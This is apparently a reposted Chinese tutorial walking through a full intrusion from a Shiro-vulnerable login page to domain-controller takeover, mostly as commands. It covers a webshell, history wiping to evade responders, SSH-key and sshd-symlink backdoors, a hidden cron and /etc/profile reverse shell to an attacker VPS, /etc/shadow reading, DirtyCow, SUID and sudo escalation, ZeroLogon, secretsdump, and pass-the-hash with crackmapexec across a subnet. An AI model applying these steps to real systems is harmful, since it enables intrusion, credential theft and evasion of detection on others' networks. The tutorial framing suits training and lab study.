网络安全:内网渗透实例,小白也能看懂内网渗透

一、前言

从 linux 打进去到域环境,到获取域控权限。全篇实操

二、外网打点

1、打开站点,很正常的一个登录界面

网络安全:内网渗透实例,小白也能看懂内网渗透_第1张图片

2、尝试登录后发现典型的 shiro 特征。

网络安全:内网渗透实例,小白也能看懂内网渗透_第2张图片

3、使用工具直接打 shiro 反序列化即可。

网络安全:内网渗透实例,小白也能看懂内网渗透_第3张图片

4、直接上冰蝎马,连接

网络安全:内网渗透实例,小白也能看懂内网渗透_第4张图片

网络安全:内网渗透实例,小白也能看懂内网渗透_第5张图片

【一>所有资源获取<一】1、200 份很多已经买不到的绝版电子书 2、30G 安全大厂内部的视频资料 3、100 份 src 文档 4、常见安全面试题 5、ctf 大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线

三、权限维持

权限维持其实看了很多文章,都是有包括修改用户的,但是因为应急响应排查最先的就是用户登录情况,/etc/passwd,/etc/shadow 文件修改情况,所以这里其实不太推荐这样做。当然下面介绍的几种也是比较常用的,简单操作的,操作其实还是有些明显的,可以挑选一两个用就好,毕竟,操作越少被发现的可能就越低嘛;也可以选择做多几个权限维持,一个去掉了还有另一个嘛~

(一)、隐藏历史记录

1、在命令前加空格,命令不会被记录[空格]cat /etcpasswd

网络安全:内网渗透实例,小白也能看懂内网渗透_第6张图片

cat /etc/passwd

网络安全:内网渗透实例,小白也能看懂内网渗透_第7张图片

可以看到命令只记录了一条

网络安全:内网渗透实例,小白也能看懂内网渗透_第8张图片

2、设置命令不记录

[空格]set +o history

复制代码

网络安全:内网渗透实例,小白也能看懂内网渗透_第9张图片

恢复

set -o history

网络安全:内网渗透实例,小白也能看懂内网渗透_第10张图片

3、删除 history 文件中指定行的命令,[num]为每行命令左边的标识。

history -d [num]

可以看到原本的 1 命令已被删除

网络安全:内网渗透实例,小白也能看懂内网渗透_第11张图片

4、粗暴点的,直接删除 history 文件内容

#向history文件写入空内容,覆盖原本内容echo > ~/.bash_history
#清空当前history记录history -c

复制代码

网络安全:内网渗透实例,小白也能看懂内网渗透_第12张图片

网络安全:内网渗透实例,小白也能看懂内网渗透_第13张图片

(二)、SSH 公钥写入

ssh 连接相当于拿到目标主机的一个 shell。除了使用账号密码进行连接以外,还有一种方式便是通过将 ssh 密钥写入**/root/.ssh/authorized_keys**目录下,然后便可以免密码登录了。

熟悉 redis 未授权访问漏洞的利用手法的话,对这种方式一定不会陌生。这也是一种留下后门的方式。

生成 ssh 密钥,输入命令,按三次回车即可

ssh-keygen -t rsa

生成后在~/.ssh/文件夹中发现密钥已经成功生成了。其中 id_rsa 为私钥,id_rsa.pub 为公钥

网络安全:内网渗透实例,小白也能看懂内网渗透_第14张图片

将 id_rsa.pub 文件内容输入到~/.ssh/authorized_keys 文件中,如果没有这个文件,那就自己新建

网络安全:内网渗透实例,小白也能看懂内网渗透_第15张图片

尝试 ssh 连接成功

ssh [email protected]

网络安全:内网渗透实例,小白也能看懂内网渗透_第16张图片

(三)、SSH 软连接

原理:在 sshd 服务配置启用 PAM 认证的前提下,PAM 配置文件中控制标志为 sufficient 时,只要 pam_rootok 模块检测 uid 为 0(root)即可成功登录。

也就是说当开启了 pam 认证后,只需要找到文件配置为 auth sufficient pam_rootok.so 的即可。1、输入命令,生成软连接,端口为 10022。

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=10022

网络安全:内网渗透实例,小白也能看懂内网渗透_第17张图片

2、ssh 连接,密码任意输入,成功登录。

网络安全:内网渗透实例,小白也能看懂内网渗透_第18张图片

3、好用是好用,但是容易被发现,输入 ps-aux 就可以发现了。

网络安全:内网渗透实例,小白也能看懂内网渗透_第19张图片

(四)、计划任务

1、新建一个 cron.sh 文件,这里我执行的命令是 nc 反弹 shell,使用其他命令也是可以的。

网络安全:内网渗透实例,小白也能看懂内网渗透_第20张图片

2、设置计划任务,这里*/3 表示每 3 分钟执行一次。

(crontab -l;printf "*/3 * * * * /bin/bash /tmp/cron.sh;/bin/bash --noprofile -i;\rno crontab for whoami%100c\n")|crontab -

3、成功隐藏计划任务

网络安全:内网渗透实例,小白也能看懂内网渗透_第21张图片

4、获取反弹 shell

网络安全:内网渗透实例,小白也能看懂内网渗透_第22张图片

(五)、通过环境变量植入后门

常见的环境变量路径如下:

/etc/profile/etc/profile.d/*.sh~/.bash_profile~/.profile~/.bashrc~/bash_logout/etc/bashrc/etc/bash.bashrc
代码

将反弹 shell 命令写入环境变量

echo 'bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1' >> /etc/profile

这样当系统重启了之后,便会将 shell 反弹到 vps 上了

四、主机信息收集

获取权限后,需要进行一定的信息收集

(一)、查询账户信息

whoami

网络安全:内网渗透实例,小白也能看懂内网渗透_第23张图片

id

网络安全:内网渗透实例,小白也能看懂内网渗透_第24张图片

cat /etc/passwd

网络安全:内网渗透实例,小白也能看懂内网渗透_第25张图片

cat /etc/shadow

网络安全:内网渗透实例,小白也能看懂内网渗透_第26张图片

(二)、查询网络和端口信息

ifconfig

网络安全:内网渗透实例,小白也能看懂内网渗透_第27张图片

netstat -anlp

网络安全:内网渗透实例,小白也能看懂内网渗透_第28张图片

arp -a

网络安全:内网渗透实例,小白也能看懂内网渗透_第29张图片

route -n

网络安全:内网渗透实例,小白也能看懂内网渗透_第30张图片

(三)、查询进程列表

ps -ef

网络安全:内网渗透实例,小白也能看懂内网渗透_第31张图片

(四)、查询系统和补丁信息

通过查询内核版本 uname -a 或者使用 rpm -qa 来查询安装了哪些软件包

(五)、凭证收取

cat /root/.bash_history    //历史输入命令cat ~/.bash_history    //历史输入命令

复制代码

网络安全:内网渗透实例,小白也能看懂内网渗透_第32张图片

w           //目前登录的用户

复制代码

网络安全:内网渗透实例,小白也能看懂内网渗透_第33张图片

五、提权

为了安全性考虑,渗透测试的站点往往会对一些数据库或者站点进行降权处理,降低了管理站点或者数据库的权限,防止攻击者获取了权限之后直接可以造成更大的威胁。这也就是表示在渗透测试过程中,我们获取的网站权限为低权限,只能做有限的一些操作,如果要突破当前主机进行内网渗透的话,我们需要拿到相对高的权限例如管理员权限,这样才能在当前服务器的基础上实现内网渗透。然后我们了解一下服务器的权限划分,在 windows 系统中,最高权限为 system 系统权限,最低的为 guest 权限。在 linux 系统中,最高权限为 root 权限。

(一)、内核漏洞提权

利用条件

系统对应内核存在某些漏洞,并且没有打上补丁,即有可能存在内核漏洞。

cat /etc/issue #查看发行版本uname -r             #查看内核版本

复制代码

实战演示

1、首先通过 linux 提权辅助工具 linux-exploit-suggester 来判断哪些漏洞可以用来溢出提权。

网络安全:内网渗透实例,小白也能看懂内网渗透_第34张图片

网络安全:内网渗透实例,小白也能看懂内网渗透_第35张图片

2、这里选择脏牛——CVE-2016-5195 来进行提权。首先下载对应的 exp,使用命令 gcc -pthread dirty.c -o dirty -lcrypt 命令对 dirty.c 进行编译,编译完成后会生成一个 dirty 文件。

3、执行 dirty 文件提权,在后面输入密码,获取一个 firefart 用户名,密码为我输入的密码的账户。

网络安全:内网渗透实例,小白也能看懂内网渗透_第36张图片

4、登录该用户,查看,已经成功获取 root 权限

网络安全:内网渗透实例,小白也能看懂内网渗透_第37张图片

(二)、SUID 提权

SUID 代表设置的用户 ID,是一种 Linux 功能,允许用户在指定用户的许可下执行文件。例如 apt-get 命令需要以 root 权限才能执行,我们可以设置 apt-get 对的 SUID,那么低权限用户也可以以 root 权限执行 apt-get 操作。SUID 的常见标识就是使用‘s’替换了‘x’。1、使用以下命令发现系统上运行的 SUID 可执行文件

find / -perm -u=s -type f 2>/dev/null

网络安全:内网渗透实例,小白也能看懂内网渗透_第38张图片

2、查看 find 命令,发现确实是使用了 s 来替换 x。

3、借助 find 命令进行命令执行,成功以 root 权限执行了命令

网络安全:内网渗透实例,小白也能看懂内网渗透_第39张图片

(三)、Sudo 配置错误

sudo 上存在这样一个漏洞,只要用户在使用 sudo 命令时指定 UID 为-1 或 4294967295,就可以以 root 身份执行命令。1、以 root 权限执行 id 命令sudo -u#-1 id

2、以 root 权限执行 whoami 命令sudo -u#-1 whoami

网络安全:内网渗透实例,小白也能看懂内网渗透_第40张图片

六、横向移动

横向移动方法很多,这里介绍一种在 2020 年公开的,可以直接攻击域控的漏洞。

(一)、CVE-2020-1472

NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口,被用于各种与用户和机器认证相关的任务。最常用于让用户使用 NTLM 协议登录服务器,也用于 NTP 响应认证以及更新计算机域密码。微软 MSRC 于 8 月 11 日 发布了 Netlogon 特权提升漏洞安全通告。此漏洞 CVE 编号 CVE-2020-1472, CVSS 评分:10.0。由 Secura 公司的 Tom Tervoort 发现提交并命名为 ZeroLogon。

使用的工具:

1、exp

2、impacket 工具包

1、首先获取域内信息

net group "Domain Controllers" /domain

这里获取了域 ajie.cool、域控主机名 AD

网络安全:内网渗透实例,小白也能看懂内网渗透_第41张图片

2、使用 exp 将域控密码置空

python3 cve-2020-1472-exploit.py -n 域控主机名 -t 域控 IP

python3 cve-2020-1472-exploit.py -n AD -t 192.168.30.128

网络安全:内网渗透实例,小白也能看懂内网渗透_第42张图片

这里已经成功将密码进行置空处理了

网络安全:内网渗透实例,小白也能看懂内网渗透_第43张图片

3、利用 impacket 工具包中的 secretsdump.py 脚本获取 hash

python3 secretsdump.py ajie.cool/AD\[email protected] -no-pass

网络安全:内网渗透实例,小白也能看懂内网渗透_第44张图片

Administrator:500:aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3:::
AD$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

复制代码

可以看到 AD$的 hash 为 31d6cfe0d16ae931b73c59d7e0c089c0 即空密码

网络安全:内网渗透实例,小白也能看懂内网渗透_第45张图片

获取 hash 后便可以进行 hash 破解或 PTH 了,这里就不多做展示。4、下一步我们需要还原密码。首先通过获取到的 hash,可以通过 wmiexec.py 进行 pth 攻击,拿到一个 shell

python3 wmiexec.py -hashes  aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3 [email protected]

复制代码

网络安全:内网渗透实例,小白也能看懂内网渗透_第46张图片

5、中间省略获取权限到远程桌面到步骤了,也可以 CS 上线啥的,主要为了方便下载 system.save、sam.save、security.save 文件即可。

网络安全:内网渗透实例,小白也能看懂内网渗透_第47张图片

网络安全:内网渗透实例,小白也能看懂内网渗透_第48张图片

6、通过 secretsdump.py 获取保存的 hash(文件路径根据自己的来设置,我这里因为在桌面所以通过../../跳转了)

python3 secretsdump.py -sam ../../sam.save -system ../../system.save -security ../../security.save LOCAL

复制代码

网络安全:内网渗透实例,小白也能看懂内网渗透_第49张图片

框出来的那一串,后面部门即为原本的 hash

75f490ed04ba66f04e0e947a185679bd

7、通过工具还原密码

python3 reinstall_original_pw.py AD 192.168.30.128 75f490ed04ba66f04e0e947a185679bd

复制代码

网络安全:内网渗透实例,小白也能看懂内网渗透_第50张图片

网络安全:内网渗透实例,小白也能看懂内网渗透_第51张图片

8、尝试了一下,no-pass 利用失败了

网络安全:内网渗透实例,小白也能看懂内网渗透_第52张图片

七、扩大战果

前面已经获取到域控的 NTLM hash,那么后面可以使用 Crackmapexec 批量获取主机权限(通过域控 NTLM hash,以及指定 IP 段进行攻击)kali 下进行安装

apt-get install crackmapexec

输入如下命令即可

proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x whoami
IP :指定要攻击的IP段-u :指定用户名-H :指定NTLM Hash-d :指定域-x :执行系统命令·

复制代码

可以看到返回了域控的管理员

网络安全:内网渗透实例,小白也能看懂内网渗透_第53张图片

proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x ipconfig

复制代码

网络安全:内网渗透实例,小白也能看懂内网渗透_第54张图片

网络安全:内网渗透实例,小白也能看懂内网渗透_第55张图片

【一一帮助安全学习(学习路线+视,频教程+工具)一一】

网络安全:内网渗透实例,小白也能看懂内网渗透_第56张图片

网络安全:内网渗透实例,小白也能看懂内网渗透_第57张图片

你可能感兴趣的:(网络安全技能树,学习思路,计算机,web安全,经验分享,网络安全,思路学习,内网渗透)